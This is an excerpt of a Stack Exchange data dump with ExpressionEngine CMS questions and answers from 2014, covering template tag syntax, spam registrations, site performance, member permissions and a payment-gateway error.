  <row Id="22334" PostTypeId="1" CreationDate="2014-05-31T10:18:51.247" Score="0" ViewCount="41" Body="&lt;p&gt;EE sites have been plagued with spam accounts targeting the bio field with html links and bbcode to do the same. Including mine. I am sure one of the 2.x releases disabled html code by default but cannot find it in the change log.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than hacking the core, any options to disable this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update - found this &quot;Altered member profile fields to disallow HTML.&quot; in : &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-1-1&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-1-1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So looks like it was added, but not to the forum member pages perhaps. Classic EL.&lt;/p&gt;&#xA;" OwnerUserId="92" LastEditorUserId="92" LastEditDate="2014-06-01T18:51:11.367" LastActivityDate="2014-06-01T18:51:11.367" Title="How to disable HTML in member bio field" Tags="|members|spam|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22335" PostTypeId="2" ParentId="22329" CreationDate="2014-05-31T12:25:29.360" Score="0" Body="&lt;p&gt;The standard way of handling this is with the Dynamic Parameters parameter - have you tried this instead of Stash? &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/dynamic_parameters.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/dynamic_parameters.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;==== Edit to add alternatives ====&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how the Stash approach could work. I've tested this and it seems to work fine for me. (You need to use parse=&quot;inward&quot;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; value=&quot;62&quot; name=&quot;recipe_type_categories[]&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; value=&quot;63&quot; name=&quot;recipe_type_categories[]&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; value=&quot;59&quot; name=&quot;recipe_type_categories[]&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; value=&quot;64&quot; name=&quot;recipe_type_categories[]&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; value=&quot;61&quot; name=&quot;recipe_type_categories[]&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; value=&quot;60&quot; name=&quot;recipe_type_categories[]&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot;&amp;gt;&#xA;    &amp;lt;!-- (note you should use {csrf_token} instead of {XID_HASH} in EE 2.8+) --&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;GO!&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&#xA;{exp:channel:entries&#xA;    channel=&quot;recipes&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    limit=&quot;18&quot;&#xA;    uncategorized_entries=&quot;no&quot;&#xA;    disable=&quot;member_data|comments|category_fields&quot;&#xA;    category=&quot;{exp:stash:get name='recipe_type_categories' dynamic='yes' save='yes'}&quot;&#xA;    paginate=&quot;both&quot;&#xA;    parse=&quot;inward&quot;&#xA;}&#xA;    &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;    {paginate}...{/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If pagination is still a problem you might consider some alternative solutions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Native &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/search/advanced.html&quot; rel=&quot;nofollow&quot;&gt;advanced search form&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/reefine&quot; rel=&quot;nofollow&quot;&gt;Reefine&lt;/a&gt; add-on&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt; or Solspace &lt;a href=&quot;http://devot-ee.com/add-ons/super-search&quot; rel=&quot;nofollow&quot;&gt;SuperSearch&lt;/a&gt; add-ons&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2014-06-01T10:31:31.420" LastActivityDate="2014-06-01T10:31:31.420" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22336" PostTypeId="2" ParentId="22327" CreationDate="2014-05-31T14:49:17.790" Score="4" Body="&lt;p&gt;Likely a server issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You host the site at GoDaddy, but your email is hosted (looking at your MX records) somewhere else. Its likely your server has a local configuration still to handle email for your domain name, maybe a recent switch to another email provider? Your server would listen to the local mail server configuration and deliver locally before it would go off to your outside email company by way of your MX record in DNS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So make sure your GoDaddy account is not configured to handle email for your domain any more, if you have an outside company handing your email.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-05-31T14:49:17.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22337" PostTypeId="2" ParentId="22210" CreationDate="2014-05-31T15:55:09.067" Score="1" Body="&lt;p&gt;There is no fool proof way of preventing spam. Captcha solutions are obtrusive to the user experience and not very effective, which is why they are not recommended as the only line of defence. Eric Lamb has written a good article entitled &quot;&lt;a href=&quot;http://ee-spotlight.com/tutorials/avoiding-captcha-with-expressionengine&quot; rel=&quot;nofollow&quot;&gt;Avoiding CAPTCHA With ExpressionEngine&lt;/a&gt;&quot; in which he also presents the solutions he recommends. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the developer of &lt;a href=&quot;http://www.putyourlightson.net/snaptcha&quot; rel=&quot;nofollow&quot;&gt;Snaptcha&lt;/a&gt;, I can recommend it to anyone getting spam registrations, and in High Security Mode it is very effective against spambots. Keep in mind though that human spammers are a different breed altogether!!&lt;/p&gt;&#xA;" OwnerUserId="194" LastActivityDate="2014-05-31T15:55:09.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22338" PostTypeId="2" ParentId="22295" CreationDate="2014-05-31T21:07:29.533" Score="1" Body="&lt;p&gt;Depending on your situation you can also use a workflow module that alerts an admin of publish &amp;amp; edits by sending an email. There is &lt;a href=&quot;http://devot-ee.com/add-ons/publisher-lite&quot; rel=&quot;nofollow&quot;&gt;Publisher Lite&lt;/a&gt; (the &lt;a href=&quot;http://devot-ee.com/add-ons/publisher&quot; rel=&quot;nofollow&quot;&gt;full version&lt;/a&gt; supports translations too) and &lt;a href=&quot;http://devot-ee.com/add-ons/better-workflow&quot; rel=&quot;nofollow&quot;&gt;Better Workflow&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-05-31T21:07:29.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22339" PostTypeId="1" AcceptedAnswerId="22340" CreationDate="2014-06-01T01:02:10.240" Score="0" ViewCount="436" Body="&lt;p&gt;I'm not sure why I can't get this to work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom member field called local_tunnel. I can retrieve that value no problem with either Solspace User which I have installed or the native EE tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if I try and pass in either of those as a parameter for channel entries tag I get no results, not even the no_results tag is evaluating. I've tried hard coding a value and that works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div class=&quot;bolder&quot;&amp;gt;&#xA;                    {exp:user:stats}{member_tunnel}{/exp:user:stats}&#xA;                    {exp:member:custom_profile_data}{member_tunnel}{/exp:member:custom_profile_data}&#xA;                        {exp:stash:parse process=&quot;end&quot;}&#xA;                        {exp:channel:entries &#xA;                                channel=&quot;tunnels&quot; &#xA;                                entry_id=&quot;{exp:member:custom_profile_data}{member_tunnel}{/exp:member:custom_profile_data}&quot;&#xA;                                limit=&quot;1&quot;&#xA;                                disable=&quot;categories|category_fields|pagination&quot;&#xA;                            }&#xA;                            {title}&#xA;                            {if no_results}&#xA;                            &amp;lt;p&amp;gt;No Results&amp;lt;/p&amp;gt;&#xA;                            {/if}&#xA;                        {/exp:channel:entries}&#xA;                        {/exp:stash:parse}&#xA;                    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-06-01T01:54:01.673" Title="Passing dynamic parameters to exp:channel:entries" Tags="|members|solspace|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22340" PostTypeId="2" ParentId="22339" CreationDate="2014-06-01T01:54:01.673" Score="0" Body="&lt;p&gt;You can't use a full tag pair as the parameter of another tag, because that tag pair won't be parsed until &lt;em&gt;after&lt;/em&gt; the tag it is being used as a parameter for is parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse process=&quot;end&quot;}&#xA;    {exp:member:custom_profile_data}&#xA;        {exp:channel:entries &#xA;            channel=&quot;tunnels&quot; &#xA;             entry_id=&quot;{member_tunnel}&quot;&#xA;             limit=&quot;1&quot;&#xA;             disable=&quot;categories|category_fields|pagination&quot;&#xA;        }&#xA;            {title}&#xA;            {if no_results}&#xA;                &amp;lt;p&amp;gt;No Results&amp;lt;/p&amp;gt;&#xA;            {/if}&#xA;        {/exp:channel:entries}&#xA;    {/exp:member:custom_profile_data}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-06-01T01:54:01.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22341" PostTypeId="2" ParentId="17697" CreationDate="2014-06-01T17:16:48.477" Score="0" Body="&lt;p&gt;I do use  NSM better meta and it is quite ok also. Also if you don't input any entry based meta, the default one comes in hand,but also , creating keywords and content for every entry is important too.&lt;/p&gt;&#xA;" OwnerUserId="1359" LastActivityDate="2014-06-01T17:16:48.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22342" PostTypeId="2" ParentId="21618" CreationDate="2014-06-01T17:21:05.263" Score="0" Body="&lt;p&gt;Maybe do a redirect for expired events, on the same page when it expires, the page could redirect to the most recent event, altough , are you using Pages module ?&lt;/p&gt;&#xA;" OwnerUserId="1359" LastActivityDate="2014-06-01T17:21:05.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22343" PostTypeId="1" CreationDate="2014-06-02T03:22:23.673" Score="0" ViewCount="666" Body="&lt;p&gt;How to set same page URI on page channel entries but shown in different language?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example i have a 'contact' page entry which will shown as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/en/contact&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/en/contact&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/nl/contact&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/nl/contact&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how to set 'contact' page URI? because i've tried and EE mark it as error, i think because it should be unique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but i know some site using EE transcribe and they can do it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;currently i don't use channel entries for this page, but using template group&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but then i wonder if my site will available in many languages, i have to create many template group and i am afraid if this page will not manageable easily&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks,&lt;/p&gt;&#xA;" OwnerUserId="2942" LastActivityDate="2014-08-05T04:25:35.193" Title="Multi Language - Transcribe channel entries page URI" Tags="|multi-language|transcribe|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22346" PostTypeId="1" AcceptedAnswerId="22376" CreationDate="2014-06-02T07:34:16.680" Score="2" ViewCount="504" Body="&lt;p&gt;I am new to EE and one of my sites is running very slow and tends to hang sometimes when users try to register or upload documents. What would be the cause of this? I have already enabled the gzip output setting in EE, but is there another way to free up memory of an EE website or any way I can resolve this?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-03T17:24:44.287" Title="EE Site Slow And Hangs" Tags="|ee2|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22347" PostTypeId="1" AcceptedAnswerId="22350" CreationDate="2014-06-02T07:37:45.847" Score="1" ViewCount="151" Body="&lt;p&gt;Is it possible to somehow set internal links in the rich text editor (Or any other wysiwyg field). Instead of copying the links from the adressbar? Maybe with a dropdown?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks?&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2014-06-02T09:06:52.723" Title="Internal Linking within EE Controlpanel" Tags="|wysiwyg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22349" PostTypeId="2" ParentId="22210" CreationDate="2014-06-02T08:05:23.567" Score="0" Body="&lt;p&gt;We've not had any spam registrations since:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Changing the registration template from /members/register to&#xA;/members/join-now (not a spam prevention technique but may help prevent bots&#xA;accessing known URLs)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Implementing jpunk11's solution of making the member profile&#xA;trigger word inaccessible&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I cannot say which was the solution as we did both the same time! My guess is they were using the native registration form even though we created a very random string for the trigger word. Stephen Callender's idea of storing the URL in the member profile would answer this. &lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2014-06-02T08:05:23.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22350" PostTypeId="2" ParentId="22347" CreationDate="2014-06-02T09:06:52.723" Score="3" Body="&lt;p&gt;There's an add-on called wygwam entries &lt;a href=&quot;http://devot-ee.com/add-ons/wygwam-entries&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/wygwam-entries&lt;/a&gt; for P&amp;amp;T's wygwam which does exactly that.&#xA;On github you'll find another wygwam one that can link to structure pages: &lt;a href=&quot;https://github.com/pixelandtonic/wygwam_structure_pages&quot; rel=&quot;nofollow&quot;&gt;https://github.com/pixelandtonic/wygwam_structure_pages&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-06-02T09:06:52.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22351" PostTypeId="2" ParentId="22312" CreationDate="2014-06-02T09:24:04.463" Score="2" Body="&lt;p&gt;This was a silly oversight after a long week of coding. Upon login the website redirected with a prefix of &quot;www&quot; where the rest of the site does not use this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fixed with WWW resolve in .htaccess&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2014-06-02T09:24:04.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22352" PostTypeId="1" CreationDate="2014-06-02T10:02:10.820" Score="0" ViewCount="979" Body="&lt;p&gt;I want to be able to give content members on my site the ability to choose which category an article should be listed within but at the minute only the super admin has this ability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked through the member group permissions and tried various options but nothing is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3171" LastActivityDate="2014-06-03T13:51:05.947" Title="Expression Engine Categories - Only super admin can change category on edit entry screen" Tags="|categories|permissions|administration|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22353" PostTypeId="2" ParentId="22346" CreationDate="2014-06-02T10:06:47.667" Score="1" Body="&lt;p&gt;Without seeing your template code it's only possible for us to guess. Typically though, EE performance problems are caused by one or several of items #1 #3 and #4 on this list: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.jamessmith.co.uk/articles/expressionengine-beginners-guide&quot; rel=&quot;nofollow&quot;&gt;http://www.jamessmith.co.uk/articles/expressionengine-beginners-guide&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-06-02T10:06:47.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22354" PostTypeId="1" AcceptedAnswerId="22355" CreationDate="2014-06-02T10:15:38.157" Score="0" ViewCount="59" Body="&lt;p&gt;I'm wondering what the best way to do this may be. I probably haven't worded the question in the best way so I'll explain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I have an entry on page which is assigned to a category. On the page I'd like to be able to display other entries assigned to the same category. Sort of a 'similar projects' concept. This needs to be done dynamically however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My hunch is that I may need to use a query to first pull through the category id of the current entry being shown, then use that value in the &lt;code&gt;category=&quot;&quot;&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone point me in the right direction with this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT cat_id FROM exp_channel_data&quot;}&#xA;&#xA;{exp:channel:entries&#xA; channel=&quot;projects&quot;&#xA; dynamic=&quot;off&quot;&#xA; category=&quot;{cat_id}&quot;}&#xA;&#xA;  {title}&#xA;&#xA;{/exp:channel:entries}          &#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe something like this but I'm really unsure. Any help would be much appreciated&lt;/p&gt;&#xA;" OwnerUserId="1230" LastActivityDate="2014-06-02T11:25:40.253" Title="Extracting category ID of an entry and then using it to display more entries" Tags="|channel-entries|categories|query|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22355" PostTypeId="2" ParentId="22354" CreationDate="2014-06-02T11:25:40.253" Score="1" Body="&lt;p&gt;Apologies, I have just seen the &lt;code&gt;related_categories_mode=&quot;yes&quot;&lt;/code&gt; parameter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem solved.&lt;/p&gt;&#xA;" OwnerUserId="1230" LastActivityDate="2014-06-02T11:25:40.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22356" PostTypeId="1" CreationDate="2014-06-02T13:20:50.867" Score="0" ViewCount="960" Body="&lt;p&gt;Everything works fine in Chrome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However in Internet Explorer and Firefox, submitting the check out form results in an error message from Realex/Global Iris:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;505 You cannot use this service from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Global Iris say that their logs suggest that the submission URL is somehow being masked - hence it doesn't match the referral URL that they have on record, so the request fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: if I type document.referrer into the browser console, Chrome shows &lt;a href=&quot;http://www.domain.com/cart/checkout&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com/cart/checkout&lt;/a&gt;, while both IE and FF show nothing.&lt;/p&gt;&#xA;" OwnerUserId="2759" LastEditorUserId="2759" LastEditDate="2014-06-02T20:57:27.790" LastActivityDate="2024-03-27T22:02:05.333" Title="Cartthrob Realex Redirect (Global Iris) - 505 error - URL masked" Tags="|cartthrob|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22357" PostTypeId="1" CreationDate="2014-06-02T13:34:59.927" Score="0" ViewCount="110" Body="&lt;p&gt;I have recently been asked to look at an EE-based site which is currently broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that where matrix fields occur in the template, it appears they are not parsed and instead are just echoed back, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{main_image}&#xA;    {matrix_image_title}&#xA;{/main_image}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems this happened when the host upgraded to PHP 5.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have creating a staging version of the site and have managed to resolve the issue by switching the PHP version to 5.3.28 from 5.4.28.  However it is not an option to do this on the live site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having consulted documentation it seems that the version of expression engine (2.5.4) and the version of matrix (2.4.1) should fully support PHP 5.4 so I'm a little at a loss as to how to further investigate this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, aside from changing hosts to one that supports PHP 5.3, can anyone else suggest routes of investigation, solutions or explanations as to why this might be happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;John&lt;/p&gt;&#xA;" OwnerUserId="3173" LastEditorUserId="55" LastEditDate="2014-06-02T14:00:36.497" LastActivityDate="2014-06-02T14:00:36.497" Title="PHP 5.4 upgrade broke matrix 2.4.1 9 (EE 2.5.4)" Tags="|matrix|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22358" PostTypeId="2" ParentId="22346" CreationDate="2014-06-02T13:35:57.730" Score="0" Body="&lt;p&gt;one of my sites was too running very slow, the problem came from the htaccess file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the htaccess model from the EE doc, and the pages was loading in 8-10 seconds, I tried many other htaccess config, now it take less of one second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check if the problem come from of htaccess or not, rename your htaccess in htaccess_off, and try mysite/index.php/page in place of mysite/page. If the page goes faster with mysite/index.php/page, the problem come from de htaccess. &lt;/p&gt;&#xA;" OwnerUserId="1918" LastEditorUserId="1918" LastEditDate="2014-06-02T17:04:54.160" LastActivityDate="2014-06-02T17:04:54.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22359" PostTypeId="2" ParentId="22324" CreationDate="2014-06-02T14:03:45.040" Score="1" Body="&lt;p&gt;No, CartThrob does not support using a Grid field for price modifiers.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-06-02T14:03:45.040" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22360" PostTypeId="2" ParentId="22352" CreationDate="2014-06-02T14:16:04.887" Score="0" Body="&lt;p&gt;You need to go to Members &gt; Member Group &gt; Group in Question &gt; scroll down to Channel Posting Privileges &gt; Can Edit / Add New Categories and select yes for that member group as seen in the picture below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b8RZn.png&quot; alt=&quot;Allow categories editing.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-06-02T14:16:04.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22361" PostTypeId="2" ParentId="22256" CreationDate="2014-06-02T14:36:59.270" Score="0" Body="&lt;p&gt;This was being caused because I was setting the list in the same file as I was getting it. If I moved the getting down a level by having an embed like &lt;code&gt;{stash:embed:layouts:standard}&lt;/code&gt; which handled the UI it resolved itself.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-06-02T14:36:59.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22362" PostTypeId="1" AcceptedAnswerId="22364" CreationDate="2014-06-02T14:46:14.090" Score="1" ViewCount="201" Body="&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;ranking&quot; order=&quot;points&quot; sort=&quot;desc&quot;}&#xA;{team} | {points} | {goals_scored} | {goals_against} &#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code works fine,but when there are two teams locked at same points I want the Goal difference to take over the responsibilty of ranking teams.I do have the goal_scored and goal_against field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do this?&lt;/p&gt;&#xA;" OwnerDisplayName="user2133" LastActivityDate="2014-06-04T20:46:30.497" Title="Order by considering two fields?" Tags="|ee2|orderby|sort|sorting|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22363" PostTypeId="1" CreationDate="2014-06-02T15:38:34.233" Score="2" ViewCount="116" Body="&lt;p&gt;Trying to use the P&amp;amp;T List from the Fieldpack within Content Elements and the values do not seem to parse. Example code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;page&quot; ...}&#xA;&#xA;  {!-- Content Elements Field --}&#xA;  {cf_page_body}&#xA;&#xA;    {textarea}&#xA;      &amp;lt;p&amp;gt;{value}&amp;lt;/p&amp;gt;&#xA;    {/textarea}&#xA;&#xA;    {fieldpack_list}&#xA;      &amp;lt;ul class=&quot;compact-list&quot;&amp;gt;&#xA;        {values}&#xA;          &amp;lt;li&amp;gt;{item}&amp;lt;/li&amp;gt;&#xA;        {/values}&#xA;      &amp;lt;/ul&amp;gt;&#xA;    {/fieldpack_list}&#xA;&#xA;  {/cf_page_body}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output does not seem to get parsed only for fieldpack's list element in CE, neither the &quot;values&quot; tag pair or the &quot;item&quot; var - i.e.; it's returned as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{values}&#xA;  &amp;lt;li&amp;gt;{item}&amp;lt;/li&amp;gt;&#xA;{/values}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I've tried numerous variations on the fieldpack's list &lt;a href=&quot;http://docs.pixelandtonic.com/fieldpack/fieldtypes/list/element_tags.html&quot; rel=&quot;nofollow&quot;&gt;Content Elements tag syntax&lt;/a&gt; in case it is a documentation error, tried running the values through Stash as a stash list with parse depth set accordingly, setting parse=&quot;inward&quot; on the EE channel tag, but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Project Setup Info:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ExpressionEngine Ver. 2.7.3&lt;/li&gt;&#xA;&lt;li&gt;Content Elements Ver. 1.6.10&lt;/li&gt;&#xA;&lt;li&gt;P&amp;amp;T Fieldpack Ver. 2.1.1&lt;/li&gt;&#xA;&lt;li&gt;Stash Ver. 2.5.3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="286" LastActivityDate="2015-09-23T11:45:52.363" Title="Content Elements and P&amp;T Fieldpack List Problem" Tags="|pixelandtonic|field-pack|content-elements|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22364" PostTypeId="2" ParentId="22362" CreationDate="2014-06-02T15:49:29.230" Score="3" Body="&lt;p&gt;If by &quot;Goal difference&quot; you mean &lt;code&gt;{goals_scored} - {goals_against}&lt;/code&gt;, you gonna have to write a custom query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the Channel Module, the closer you can get is to &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#sort&quot; rel=&quot;nofollow&quot;&gt;sort&lt;/a&gt; both fields in different directions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;ranking&quot; orderby=&quot;points|goals_scored|goals_against&quot; sort=&quot;desc|desc|asc&quot;}&#xA;{team} | {points} | {goals_scored} | {goals_against}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, for a perfect result, code your own query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query&#xA;sql=&quot;&#xA;SELECT&#xA;    ct.title AS event_title, &#xA;    ct.url_title AS event_url_title,&#xA;    ct.entry_id AS entry_id,&#xA;    cd.field_id_ID1 AS team,&#xA;    cd.field_id_ID2 AS points,&#xA;    cd.field_id_ID3 AS goals_scored,&#xA;    cd.field_id_ID4 AS goals_against,&#xA;    cd.field_id_ID3 - cd.field_id_ID4 AS goal_difference&#xA;FROM exp_channel_titles AS ct&#xA;JOIN exp_channel_data AS cd ON ct.entry_id = cd.entry_id&#xA;WHERE ct.channel_id = 2&#xA;AND ct.expiration_date NOT BETWEEN 1 AND unix_timestamp(Now())&#xA;AND ct.entry_date &amp;lt;= unix_timestamp(Now())&#xA;ORDER BY points DESC, difference DESC&#xA;&quot;}&#xA;        {team} | {points} | {goals_scored} | {goals_against}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added some fields that could be useful and prevented to show expired or future entries. You still need to change the IDs of the fields.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-06-02T18:57:15.217" LastActivityDate="2014-06-02T18:57:15.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
